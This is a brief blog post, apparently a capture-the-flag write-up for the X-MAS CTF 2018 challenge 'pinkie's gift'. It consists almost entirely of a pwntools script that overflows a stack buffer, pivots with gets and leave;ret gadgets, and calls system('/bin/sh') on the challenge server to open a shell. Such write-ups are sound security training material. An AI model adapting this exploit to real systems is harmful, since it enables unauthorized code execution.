Tianji's Blog.

xmasctf

Word count: 117 / Reading time: 1 min
2018/12/15 Share

pinkie’s gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

debug = int(raw_input("debug?:"))

if debug:
    p = process("./pinkiegift")
    context.log_level = "debug"
else:
    p = remote("95.179.163.167", 10006)

p.recvuntil("Santa: ")
binsh = int(p.recvn(9), 16)
system = int(p.recvn(11)[1:], 16)
print "binsh:", hex(binsh)
print "system:", hex(system)

p.sendline("nihao")
p.recvuntil("nihao\n")

gets_address = 0x080483d0
leave_ret = 0x08048607
payload = "a" * 0x84 + p32(binsh) + p32(gets_address) + p32(leave_ret) + p32(binsh + 4)
p.sendline(payload)
payload2 = p32(system) + "ls;a" + p32(binsh + 16) + "/bin/sh"
p.sendline(payload2)
p.interactive()

原文作者: Tianji

原文链接: https://www.tiandiwuji.top/posts/49664/

发表日期: December 15th 2018, 1:58:07 pm

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. pinkie’s gift
Total : 77
2099
2019
2018
pwn ctf web安全 ctf_php_debug 置顶 工具手册 dubbo jvm linux 运维 mysql php python python安全 前端 zookeeper 渗透测试 安全体系建设
安全